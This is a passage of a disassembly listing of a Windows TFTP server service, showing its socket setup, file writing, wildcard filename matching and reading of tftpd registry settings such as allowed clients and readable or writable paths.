		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	sub_100261E
		test	eax, eax
		jnz	short loc_100349A
		push	offset aMalformedFileN ; "Malformed file name"
		jmp	short loc_10034DF
; ---------------------------------------------------------------------------


loc_100349A:				; CODE XREF: sub_100333A+157j
		push	[ebp+to]
		push	offset byte_1005D20
		call	sub_10039D6
		test	eax, eax
		jz	loc_10036EC
		push	[ebp+s]
		push	offset byte_1005D90
		call	sub_10039D6
		test	eax, eax
		jz	loc_10036EC
		push	(offset	dword_1005E07+1) ; int
		push	0FFBCh		; int
		push	[ebp+Src]	; Src
		call	sub_100273D
		test	eax, eax
		jnz	short loc_10034E6
		push	offset aFileNameTooLon ; "File name too	long"


loc_10034DF:				; CODE XREF: sub_100333A+15Ej
		push	0
		jmp	loc_10036FC
; ---------------------------------------------------------------------------


loc_10034E6:				; CODE XREF: sub_100333A+19Ej
		push	180h
		push	8302h
		push	[ebp+Src]
		call	ds:_open	; _open
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebx+1002Ch], eax
		jnz	short loc_100351E
		mov	esi, ds:_errno
		call	esi ; _errno
		call	esi ; _errno
		push	dword ptr [eax]	; dwErrCode
		call	ds:SetLastError
		jmp	loc_10036F2
; ---------------------------------------------------------------------------


loc_100351E:				; CODE XREF: sub_100333A+1CBj
		xor	esi, esi
		push	esi		; protocol
		push	2		; type
		push	2		; af
		call	ds:socket	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+s], edi
		jnz	short loc_1003546
		call	ds:WSAGetLastError	; WSAGetLastError
		push	offset aInsufficientRe ; "Insufficient resources"
		push	esi
		jmp	loc_10036FC
; ---------------------------------------------------------------------------


loc_1003546:				; CODE XREF: sub_100333A+1F9j
		mov	word ptr [ebp+name.sa_data], si
		mov	esi, [ebp+arg_0]
		push	10h		; namelen
		mov	[ebp+name.sa_family], 2
		mov	eax, [esi+1Ch]
		mov	dword ptr [ebp+name.sa_data+2],	eax
		lea	eax, [ebp+name]
		push	eax		; name
		push	edi		; s
		call	ds:bind	; bind
		test	eax, eax
		jz	short loc_100358A
		call	ds:WSAGetLastError	; WSAGetLastError
		push	offset aInsufficientRe ; "Insufficient resources"
		push	0
		push	dword ptr [esi+8]
		lea	eax, [esi+0FFF1h]
		add	esi, 0Ch
		push	eax
		push	esi
		jmp	loc_100370D
; ---------------------------------------------------------------------------


loc_100358A:				; CODE XREF: sub_100333A+22Ej
		lea	eax, [ebx+10028h]
		mov	[esi+8], edi
		push	eax		; int
		lea	eax, [ebx+38h]
		push	eax		; int
		lea	eax, [ebx+10024h]
		push	eax		; int
		mov	eax, [ebp+var_C]
		inc	eax
		push	2		; int
		push	eax		; Str1
		push	esi		; int
		call	sub_10023D8
		test	eax, eax
		jnz	loc_1003712
		push	ebx		; lpCriticalSection
		call	ds:InitializeCriticalSection	; InitializeCriticalSection
		mov	[ebx+20h], edi
		add	esi, 0Ch
		lea	edi, [ebx+28h]
		mov	[ebp+to], esi
		movsd
		movsd
		movsd
		movsd
		xor	esi, esi
		push	esi		; lpName
		push	esi		; bInitialState
		push	esi		; bManualReset
		push	esi		; lpEventAttributes
		call	ds:CreateEventA	; CreateEventA
		cmp	eax, esi
		mov	[ebx+0FFF8h], eax
		jz	short loc_10035F8
		push	2
		pop	edi
		push	edi		; char
		push	eax		; hEventObject
		push	[ebp+s]		; s
		call	sub_100188E
		cmp	eax, esi
		mov	[ebx+0FFFCh], eax
		jnz	short loc_1003603


loc_10035F8:				; CODE XREF: sub_100333A+2A5j
		call	ds:GetLastError
		jmp	loc_1003712
; ---------------------------------------------------------------------------


loc_1003603:				; CODE XREF: sub_100333A+2BCj
		add	ebx, 18h
		push	ebx
		call	sub_100287F
		push	[ebp+s]
		mov	[ebp+var_14], 1
		call	sub_10028B5
		mov	ebx, eax
		cmp	ebx, esi
		jz	loc_1003712
		xor	esi, esi
		mov	[ebp+var_10], 1
		cmp	[ebx+10028h], esi
		jz	short loc_100364A
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+28h]
		imul	eax, 3E8h
		mov	[ebx+10000h], eax
		jmp	short loc_1003654
; ---------------------------------------------------------------------------


loc_100364A:				; CODE XREF: sub_100333A+2FAj
		mov	dword ptr [ebx+10000h],	3E8h


loc_1003654:				; CODE XREF: sub_100333A+30Ej
		mov	eax, [ebx+10000h]
		push	esi
		push	eax
		push	eax
		push	dword ptr [ebx+20h]
		lea	eax, [ebx+10004h]
		push	offset sub_1002A3D
		push	eax
		push	dword_10060A0
		call	ds:RtlCreateTimer	; RtlCreateTimer
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebx+10024h]
		mov	[ebx+24h], edi
		cmp	ecx, esi
		mov	eax, [eax+20h]
		mov	[ebx+10018h], eax
		lea	eax, [ebx+10024h]
		jz	short loc_10036A1
		mov	[ebx+10020h], ecx
		mov	[eax], esi
		jmp	short loc_10036C5
; ---------------------------------------------------------------------------


loc_10036A1:				; CODE XREF: sub_100333A+35Bj
		mov	esi, ds:htons
		push	4
		pop	edi
		push	edi		; hostshort
		call	esi ; htons
		mov	[ebx+38h], ax
		mov	ax, [ebx+10014h]
		push	eax		; hostshort
		call	esi ; htons
		mov	[ebx+3Ah], ax
		mov	[ebx+10020h], edi


loc_10036C5:				; CODE XREF: sub_100333A+365j
		push	10h		; tolen
		lea	eax, [ebx+38h]
		push	[ebp+to]	; to
		push	0		; flags
		push	dword ptr [ebx+10020h] ; len
		push	eax		; buf
		push	[ebp+s]		; s
		call	ds:sendto	; sendto
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1003712
		call	ds:WSAGetLastError	; WSAGetLastError
		jmp	short loc_1003712
; ---------------------------------------------------------------------------


loc_10036EC:				; CODE XREF: sub_100333A+16Fj
					; sub_100333A+184j
		call	ds:_errno	; _errno


loc_10036F2:				; CODE XREF: sub_100333A+1DFj
		push	0
		push	2
		jmp	short loc_10036FC
; ---------------------------------------------------------------------------


loc_10036F8:				; CODE XREF: sub_100333A+113j
		push	0		; int
		push	4		; hostshort


loc_10036FC:				; CODE XREF: sub_100333A+1A7j
					; sub_100333A+207j ...
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+8] ; s
		lea	ecx, [eax+0FFF1h]
		add	eax, 0Ch
		push	ecx		; int
		push	eax		; to


loc_100370D:				; CODE XREF: sub_100333A+24Bj
		call	sub_100230A


loc_1003712:				; CODE XREF: sub_100333A+48j
					; sub_100333A+274j ...
		test	ebx, ebx
		jz	short loc_1003731
		cmp	[ebp+var_10], 0
		jz	short loc_1003723
		push	ebx		; lpCriticalSection
		call	ds:LeaveCriticalSection


loc_1003723:				; CODE XREF: sub_100333A+3E0j
		cmp	[ebp+var_14], 0
		jnz	short loc_1003731
		push	ebx		; Memory
		call	ds:free	; free
		pop	ecx


loc_1003731:				; CODE XREF: sub_100333A+21j
					; sub_100333A+3DAj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_100333A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100373A	proc near		; CODE XREF: sub_1002CE6+D7p

var_1FF70	= byte ptr -1FF70h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 1FF70h
		call	_chkstk	; _chkstk
		cmp	[ebp+arg_C], 8000h
		push	esi
		push	edi
		jnz	short loc_100375A
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		jmp	short loc_1003792
; ---------------------------------------------------------------------------


loc_100375A:				; CODE XREF: sub_100373A+16j
		mov	edx, [ebp+arg_4]
		xor	ecx, ecx
		xor	esi, esi
		cmp	[ebp+arg_8], ecx
		jle	short loc_1003790
		mov	edi, [ebp+arg_10]


loc_1003769:				; CODE XREF: sub_100373A+54j
		cmp	byte ptr [edi],	0Dh
		jnz	short loc_1003779
		cmp	byte ptr [ecx+edx], 0
		jnz	short loc_1003779
		and	byte ptr [edi],	0
		jmp	short loc_100378A
; ---------------------------------------------------------------------------


loc_1003779:				; CODE XREF: sub_100373A+32j
					; sub_100373A+38j
		mov	al, [ecx+edx]
		mov	[ebp+esi+var_1FF70], al
		inc	esi
		cmp	al, 0Dh
		jnz	short loc_100378A
		mov	[edi], al


loc_100378A:				; CODE XREF: sub_100373A+3Dj
					; sub_100373A+4Cj
		inc	ecx
		cmp	ecx, [ebp+arg_8]
		jl	short loc_1003769


loc_1003790:				; CODE XREF: sub_100373A+2Aj
		push	esi
		push	edx


loc_1003792:				; CODE XREF: sub_100373A+1Ej
		push	[ebp+arg_0]
		call	ds:_write	; _write
		mov	edi, eax
		add	esp, 0Ch
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_10037B7
		mov	esi, ds:_errno
		call	esi ; _errno
		call	esi ; _errno
		push	dword ptr [eax]	; dwErrCode
		call	ds:SetLastError


loc_10037B7:				; CODE XREF: sub_100373A+69j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	14h
sub_100373A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10037BF	proc near		; CODE XREF: sub_1001665:loc_10017F3p

hKey		= dword	ptr -10h
Type		= dword	ptr -0Ch
cbData		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		lea	eax, [ebp+hKey]
		push	ebx
		xor	ebx, ebx
		push	eax		; phkResult
		push	0F003Fh		; samDesired
		push	ebx		; ulOptions
		push	offset SubKey	; "System\\CurrentControlSet\\Services\\tftpd"...
		push	80000002h	; hKey
		mov	[ebp+var_4], ebx
		call	ds:RegOpenKeyExA	; RegOpenKeyExA
		cmp	eax, ebx
		jz	short loc_10037F6
		call	ds:GetLastError
		xor	eax, eax
		jmp	loc_100390D
; ---------------------------------------------------------------------------


loc_10037F6:				; CODE XREF: sub_10037BF+28j
		cmp	byte ptr dword_1005E07+1, bl
		push	edi
		push	esi
		mov	esi, ds:RegQueryValueExA
		jnz	short loc_100383C
		lea	eax, [ebp+cbData]
		mov	[ebp+cbData], 1F4h
		push	eax		; lpcbData
		lea	eax, [ebp+Type]
		push	(offset	dword_1005E07+1) ; lpData
		push	eax		; lpType
		push	ebx		; lpReserved
		push	offset ValueName ; "directory"
		push	[ebp+hKey]	; hKey
		call	esi ; RegQueryValueExA
		cmp	eax, ebx
		jz	short loc_1003831
		call	ds:GetLastError
		jmp	short loc_100383C
; ---------------------------------------------------------------------------


loc_1003831:				; CODE XREF: sub_10037BF+68j
		push	1
		pop	eax
		cmp	[ebp+Type], eax
		jnz	short loc_100383C
		mov	[ebp+var_4], eax


loc_100383C:				; CODE XREF: sub_10037BF+45j
					; sub_10037BF+70j ...
		push	32h
		lea	eax, [ebp+cbData]
		pop	edi
		push	eax		; lpcbData
		lea	eax, [ebp+Type]
		push	offset Data	; lpData
		push	eax		; lpType
		push	ebx		; lpReserved
		push	offset aClients	; "clients"
		push	[ebp+hKey]	; hKey
		mov	[ebp+cbData], edi
		call	esi ; RegQueryValueExA
		cmp	eax, ebx
		jz	short loc_1003866
		call	ds:GetLastError
		jmp	short loc_100386F
; ---------------------------------------------------------------------------


loc_1003866:				; CODE XREF: sub_10037BF+9Dj
		cmp	[ebp+Type], 1
		jnz	short loc_100386F
		inc	[ebp+var_4]


loc_100386F:				; CODE XREF: sub_10037BF+A5j
					; sub_10037BF+ABj
		lea	eax, [ebp+cbData]
		mov	[ebp+cbData], edi
		push	eax		; lpcbData
		lea	eax, [ebp+Type]
		push	offset byte_1005D20 ; lpData
		push	eax		; lpType
		push	ebx		; lpReserved
		push	offset aMasters	; "masters"
		push	[ebp+hKey]	; hKey
		call	esi ; RegQueryValueExA
		cmp	eax, ebx
		jz	short loc_1003896
		call	ds:GetLastError
		jmp	short loc_100389F
; ---------------------------------------------------------------------------


loc_1003896:				; CODE XREF: sub_10037BF+CDj
		cmp	[ebp+Type], 1
		jnz	short loc_100389F
		inc	[ebp+var_4]


loc_100389F:				; CODE XREF: sub_10037BF+D5j
					; sub_10037BF+DBj
		lea	eax, [ebp+cbData]
		mov	[ebp+cbData], edi
		push	eax		; lpcbData
		lea	eax, [ebp+Type]
		push	offset byte_1005D58 ; lpData
		push	eax		; lpType
		push	ebx		; lpReserved
		push	offset aReadable ; "readable"
		push	[ebp+hKey]	; hKey
		call	esi ; RegQueryValueExA
		cmp	eax, ebx
		jz	short loc_10038C6
		call	ds:GetLastError
		jmp	short loc_10038CF
; ---------------------------------------------------------------------------


loc_10038C6:				; CODE XREF: sub_10037BF+FDj
		cmp	[ebp+Type], 1
		jnz	short loc_10038CF
		inc	[ebp+var_4]


loc_10038CF:				; CODE XREF: sub_10037BF+105j
					; sub_10037BF+10Bj
		lea	eax, [ebp+cbData]
		mov	[ebp+cbData], edi
		push	eax		; lpcbData
		lea	eax, [ebp+Type]
		push	offset byte_1005D90 ; lpData
		push	eax		; lpType
		push	ebx		; lpReserved
		push	offset aWritable ; "writable"
		push	[ebp+hKey]	; hKey
		call	esi ; RegQueryValueExA
		cmp	eax, ebx
		jz	short loc_10038F6
		call	ds:GetLastError
		jmp	short loc_10038FF
; ---------------------------------------------------------------------------


loc_10038F6:				; CODE XREF: sub_10037BF+12Dj
		cmp	[ebp+Type], 1
		jnz	short loc_10038FF
		inc	[ebp+var_4]


loc_10038FF:				; CODE XREF: sub_10037BF+135j
					; sub_10037BF+13Bj
		push	[ebp+hKey]	; hKey
		call	ds:RegCloseKey	; RegCloseKey
		mov	eax, [ebp+var_4]
		pop	esi
		pop	edi


loc_100390D:				; CODE XREF: sub_10037BF+32j
		pop	ebx
		leave
		retn
sub_10037BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_1003910	proc near		; CODE XREF: sub_1001665+193p

Dst		= byte ptr -1F4h

		sub	esp, 1F4h
		cmp	byte ptr dword_1005E07+1, 0
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, 1F4h
		mov	ebx, (offset dword_1005E07+1)
		jnz	short loc_100393D
		push	ebp		; Count
		push	offset Source	; "\\tftpdroot\\"
		push	ebx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch


loc_100393D:				; CODE XREF: sub_1003910+1Bj
		lea	eax, [esp+204h+Dst]
		push	ebp		; nSize
		push	eax		; lpDst
		push	ebx		; lpSrc
		call	ds:ExpandEnvironmentStringsA	; ExpandEnvironmentStringsA
		test	eax, eax
		jnz	short loc_1003952
		push	57h
		jmp	short loc_10039CA
; ---------------------------------------------------------------------------


loc_1003952:				; CODE XREF: sub_1003910+3Cj
		mov	ecx, eax
		lea	esi, [esp+204h+Dst]
		mov	edi, ebx
		or	edx, 0FFFFFFFFh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, ebx
		mov	ecx, edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	byte ptr dword_1005E07[ecx], 2Fh
		lea	eax, dword_1005E07[ecx]
		jnz	short loc_1003986
		mov	byte ptr [eax],	5Ch


loc_1003986:				; CODE XREF: sub_1003910+71j
		cmp	byte ptr [eax],	5Ch
		jz	short loc_10039B7
		cmp	ecx, ebp
		jnb	short loc_10039B7
		mov	edi, offset asc_100155C	; "\\"
		mov	ecx, edx
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	ebp, ecx
		mov	edi, ebx
		mov	ecx, edx
		repne scasb
		mov	ecx, ebp
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebp
		and	ecx, 3
		rep movsb


loc_10039B7:				; CODE XREF: sub_1003910+79j
					; sub_1003910+7Dj
		mov	edi, ebx
		mov	ecx, edx
		xor	eax, eax
		push	1
		repne scasb
		not	ecx
		dec	ecx
		mov	dword_1005FFC, ecx


loc_10039CA:				; CODE XREF: sub_1003910+40j
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1F4h
		retn
sub_1003910	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10039D6	proc near		; CODE XREF: sub_1002F31+148p
					; sub_1002F31+159p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	al, [esi]
		test	al, al
		jz	short loc_1003A2E
		cmp	al, 2Ah
		jz	short loc_1003A04
		cmp	al, 3Fh
		jz	short loc_10039F7
		mov	ecx, [ebp+arg_4]
		cmp	al, [ecx]
		jnz	short loc_1003A25
		inc	ecx
		push	ecx
		jmp	short loc_1003A01
; ---------------------------------------------------------------------------


loc_10039F7:				; CODE XREF: sub_10039D6+14j
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jz	short loc_1003A25
		inc	eax
		push	eax


loc_1003A01:				; CODE XREF: sub_10039D6+1Fj
		inc	esi
		jmp	short loc_1003A1B
; ---------------------------------------------------------------------------


loc_1003A04:				; CODE XREF: sub_10039D6+10j
		mov	edi, [ebp+arg_4]
		lea	eax, [esi+1]
		push	edi
		push	eax
		call	sub_10039D6
		test	eax, eax
		jnz	short loc_1003A29
		cmp	[edi], al
		jz	short loc_1003A25
		inc	edi
		push	edi


loc_1003A1B:				; CODE XREF: sub_10039D6+2Cj
		push	esi
		call	sub_10039D6
		test	eax, eax
		jnz	short loc_1003A29


loc_1003A25:				; CODE XREF: sub_10039D6+1Bj
					; sub_10039D6+27j ...
		xor	eax, eax
		jmp	short loc_1003A38
; ---------------------------------------------------------------------------


loc_1003A29:				; CODE XREF: sub_10039D6+3Dj
					; sub_10039D6+4Dj
		push	1
		pop	eax
		jmp	short loc_1003A38
; ---------------------------------------------------------------------------


loc_1003A2E:				; CODE XREF: sub_10039D6+Cj
		mov	ecx, [ebp+arg_4]
		xor	eax, eax
		cmp	[ecx], al
		setz	al


loc_1003A38:				; CODE XREF: sub_10039D6+51j
					; sub_10039D6+56j
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_10039D6	endp

; [00000006 BYTES: COLLAPSED FUNCTION _chkstk. PRESS KEYPAD "+"	TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NotifyAddrChange.	PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION GetIpAddrTable. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001560
		push	offset loc_1003BF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-4], 0
		push	1
		call	ds:__set_app_type	; __set_app_type
		add	esp, 4
		mov	dword_10062D0, 0FFFFFFFFh
		mov	dword_10062D4, 0FFFFFFFFh
		call	ds:__p__fmode	; __p__fmode
		mov	ecx, dword_100600C
		mov	[eax], ecx
		call	ds:__p__commode	; __p__commode
		mov	edx, dword_1006008
		mov	[eax], edx
		mov	eax, ds:_adjust_fdiv
		mov	ecx, [eax]
		mov	dword_10062D8, ecx
		call	nullsub_2
		mov	eax, dword_1005DC4
		test	eax, eax
		jnz	short loc_1003AE1
		push	offset loc_1003BD0
		call	ds:__setusermatherr	; __setusermatherr
		add	esp, 4


loc_1003AE1:				; CODE XREF: .text:01003AD1j
		call	sub_1003BB0
		push	offset dword_100500C
		push	offset dword_1005008
		call	_initterm	; _initterm
		add	esp, 8
		mov	edx, dword_1006004
		mov	[ebp-28h], edx
		lea	eax, [ebp-28h]
		push	eax
		mov	ecx, dword_1006000
		push	ecx
		lea	edx, [ebp-20h]
		push	edx
		lea	eax, [ebp-2Ch]
		push	eax
		lea	ecx, [ebp-1Ch]
		push	ecx
		call	ds:__getmainargs	; __getmainargs
		add	esp, 14h
		push	offset dword_1005004
		push	offset dword_1005000
		call	_initterm	; _initterm
		add	esp, 8
		call	ds:__p___initenv	; __p___initenv
		mov	edx, [ebp-20h]
		mov	[eax], edx
		mov	eax, [ebp-20h]
		push	eax
		mov	ecx, [ebp-2Ch]
		push	ecx
		mov	edx, [ebp-1Ch]
		push	edx
		call	sub_1001570
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		mov	[ebp-24h], eax
		push	eax
		call	ds:exit	; exit
; ---------------------------------------------------------------------------
		jmp	short loc_1003B80
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-30h], ecx
		push	eax
		push	ecx
		call	_XcptFilter	; _XcptFilter
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	edx, [ebp-30h]
		push	edx
		call	ds:_exit	; _exit
; ---------------------------------------------------------------------------


loc_1003B80:				; CODE XREF: .text:01003B5Cj
		add	esp, 4
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION _XcptFilter. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION _initterm. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1003BB0	proc near		; CODE XREF: .text:loc_1003AE1p
		push	30000h		; Mask
		push	10000h		; NewValue
		call	_controlfp	; _controlfp
		add	esp, 8
		retn
sub_1003BB0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_1003BD0:				; DATA XREF: .text:01003AD3o
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		align 10h


loc_1003BF0:				; DATA XREF: .text:01003A5Ao
		jmp	ds:_except_handler3
; [00000006 BYTES: COLLAPSED FUNCTION _controlfp. PRESS	KEYPAD "+" TO EXPAND]
		dd 3D7Ch, 2 dup(0FFFFFFFFh), 3E60h, 10F4h, 3CA4h, 2 dup(0FFFFFFFFh)
		dd 4012h, 101Ch, 3C88h,	2 dup(0FFFFFFFFh), 40A2h, 1000h
		dd 3DCCh, 2 dup(0FFFFFFFFh), 4172h, 1144h, 3DC0h, 2 dup(0FFFFFFFFh)
		dd 41A2h, 1138h, 3D04h,	2 dup(0FFFFFFFFh), 42F6h, 107Ch
		dd 5 dup(0)
		dd 4092h, 4020h, 407Eh,	4070h, 4052h, 403Eh, 0
		dd 3E6Ch, 3FF6h, 3FE6h,	3FCEh, 3FBEh, 3FB2h, 3FA2h, 3E7Ah
		dd 3E8Ah, 3EA0h, 3EB0h,	3ECCh, 3EDAh, 3EF2h, 3EFEh, 3F0Ch
		dd 3F24h, 3F3Ch, 3F56h,	3F62h, 3F70h, 3F78h, 3F92h, 0
		dd 4282h, 4272h, 428Eh,	4230h, 4226h, 421Eh, 4214h, 420Ah
		dd 4200h, 41F8h, 41F0h,	41E6h, 41DCh, 41D2h, 41CAh, 41C2h
		dd 4302h, 42E2h, 42D0h,	42C2h, 42B2h, 42A2h, 41B8h, 4262h
		dd 4254h, 424Ch, 423Ah,	4242h, 41B0h, 0
		dd 3E52h, 8000006Fh, 80000073h,	3E08h, 80000009h, 3E1Ah
		dd 8000000Fh, 3E34h, 8000000Ah,	3E42h, 80000003h, 8000000Ch
		dd 80000002h, 80000037h, 80000017h, 80000014h, 0
		dd 417Ch, 4190h, 0
		dd 4126h, 4168h, 415Eh,	4154h, 4142h, 4130h, 411Ah, 4112h
		dd 410Ah, 40F4h, 40EAh,	40D4h, 40B0h, 40C2h, 0
		dd 53570019h, 65764541h, 6553746Eh, 7463656Ch, 1B0000h
aWsagetoverlapp	db 'WSAGetOverlappedResult',0
		align 4
a2		db '2',0
aWsarecvfrom	db 'WSARecvFrom',0
		dw 0Fh
aWsacloseevent	db 'WSACloseEvent',0
		db '=',0
aWsasocketa	db 'WSASocketA',0
		align 10h
aWs2_32_dll	db 'WS2_32.dll',0
		align 4
aM		db '',0
aExitprocess	db 'ExitProcess',0
		dw 12Dh
aGetlasterror	db 'GetLastError',0
		align 2
		dw 2FDh
aWaitforsingleo	db 'WaitForSingleObject',0
a4		db '4',0
aCreateeventa	db 'CreateEventA',0
		align 10h
		db 0C5h	; 
		db 1, 49h, 6Eh
aItializecritic	db 'itializeCriticalSection',0
		dd 654801B6h, 72437061h, 65746165h, 1DE0000h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
		dw 1BAh
aHeapfree	db 'HeapFree',0
		align 2
		dw 1Eh
aClosehandle	db 'CloseHandle',0
aO		db 'o',0
aEntercriticals	db 'EnterCriticalSection',0
		align 4
		retf
; ---------------------------------------------------------------------------
		db 1, 49h, 6Eh
aTerlockedincre	db 'terlockedIncrement',0
		align 4
		db 0FBh	; 
		db 2, 57h, 61h
aItformultipleo	db 'itForMultipleObjects',0
		align 2
		dw 1B4h
aHeapalloc	db 'HeapAlloc',0
		dw 252h
aResetevent	db 'ResetEvent',0
		align 10h
		retn
; ---------------------------------------------------------------------------
		db 2, 53h, 6Ch
		db  65h	; e
		db 65h,	70h, 0
		db 0D8h	; 
		db 2, 54h, 72h
aYentercritical	db 'yEnterCriticalSection',0
		dw 2C5h
aSuspendthread	db 'SuspendThread',0
		dw 254h
aResumethread	db 'ResumeThread',0
		db 0, 90h, 2
aSetevent	db 'SetEvent',0
		align 2
		dw 29Ch
aSetlasterror	db 'SetLastError',0
		align 2
aZ		db 'Z',0
aDeletecritical	db 'DeleteCriticalSection',0
		dw 12Fh
aGetlocaltime	db 'GetLocalTime',0
		align 2
aP		db '',0
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
aKernel32_dll	db 'KERNEL32.dll',0
		align 10h
		db 0E5h	; 
		db 1, 53h, 74h
aArtservicectrl	db 'artServiceCtrlDispatcherA',0
		dw 1DFh
aSetservicestat	db 'SetServiceStatus',0
		align 2
		dw 1B9h
aRegisterservic	db 'RegisterServiceCtrlHandlerA',0
		db  84h	; 
		db 1, 52h, 65h
aGclosekey	db 'gCloseKey',0
		dw 1A7h
aRegqueryvaluee	db 'RegQueryValueExA',0
		align 2
		dw 19Dh
aRegopenkeyexa	db 'RegOpenKeyExA',0
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 10h
		db  50h	; P
		db 2, 52h, 74h
aLregisterwait	db 'lRegisterWait',0
		dw 184h
aRtlcreatetimer	db 'RtlCreateTimer',0
		align 4
		db  85h	; 
		db 1, 52h, 74h
aLcreatetimerqu	db 'lCreateTimerQueue',0
		dw 42Eh
a_chkstk	db '_chkstk',0
		db 0A1h	; 
		db 1, 52h, 74h
aLderegisterwai	db 'lDeregisterWaitEx',0
		dw 433h
a_itoa		db '_itoa',0
		dw 450h
aAtoi		db 'atoi',0
		align 2
		dw 43Dh
a_stricmp	db '_stricmp',0
		align 2
		dw 46Dh
aMemmove	db 'memmove',0
		dd 7452019Dh, 6C65446Ch, 54657465h, 72656D69h, 2990000h
		dd 556C7452h, 74616470h, 6D695465h, 7265h, 6F740486h, 65776F6Ch
		dd 45F0072h, 70757369h,	726570h, 7473047Dh, 70636E72h
		dd 746E0079h, 2E6C6C64h, 6C6C64h, 6F4E004Fh, 79666974h
		dd 72646441h, 6E616843h, 6567h,	65470022h, 41704974h, 54726464h
		dd 656C6261h, 70690000h, 61706C68h, 642E6970h, 6C6Ch, 78650246h
		dd 7469h, 7270029Bh, 66746E69h,	2430000h, 6D697463h, 2540065h
		dd 65706F66h, 17F006Eh,	646B6D5Fh, 7269h, 655F00C5h, 6F6E7272h
		dd 0AA0000h, 6468635Fh,	7269h, 697402CDh, 656Dh, 7266025Bh
		dd 6565h, 63660249h, 65736F6Ch,	2A40000h, 6C616572h, 636F6Ch
		dd 616D028Eh, 636F6C6Ch, 1950000h, 6165725Fh, 0B00064h
		dd 6F6C635Fh, 6573h, 6C5F0141h,	6B656573h, 1840000h, 65706F5Fh
		dd 214006Eh, 6972775Fh,	6574h, 655F00D0h, 746978h, 585F0048h
		dd 46747063h, 65746C69h, 630072h, 5F705F5Fh, 6E695F5Fh
		dd 6E657469h, 580076h, 65675F5Fh, 69616D74h, 6772616Eh
		dd 10C0073h, 696E695Fh,	72657474h, 82006Dh, 65735F5Fh
		dd 65737574h, 74616D72h, 72726568h, 9B0000h, 6A64615Fh
		dd 5F747375h, 76696466h, 690000h, 5F705F5Fh, 6D6F635Fh
		dd 65646F6Dh, 6E0000h, 5F705F5Fh, 6F6D665Fh, 6564h, 5F5F0080h
		dd 5F746573h, 5F707061h, 65707974h, 0C70000h, 6378655Fh
		dd 5F747065h, 646E6168h, 3372656Ch, 534D0000h, 54524356h
		dd 6C6C642Eh, 0B40000h,	6E6F635Fh, 6C6F7274h, 7066h, 3Ch dup(0)
_text		ends

; Section 2. (virtual address 00005000)
; Virtual size			: 000012DC (   4828.)
; Section size in file		: 00000E00 (   3584.)
; Offset to raw	data for section: 00003A00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 1005000h
dword_1005000	dd 0		dword_1005004	dd 0		dword_1005008	dd 0		dword_100500C	dd 0		; char Format[]
Format		db ' ================================================================'
					; DATA XREF: sub_1001570+4Do
		db '======== ',0Ah
		db 'Abstract:                                                        '
		db '         ',0Ah
		db ' This implements an RFC 783 tftp daemon.                         '
		db '         ',0Ah
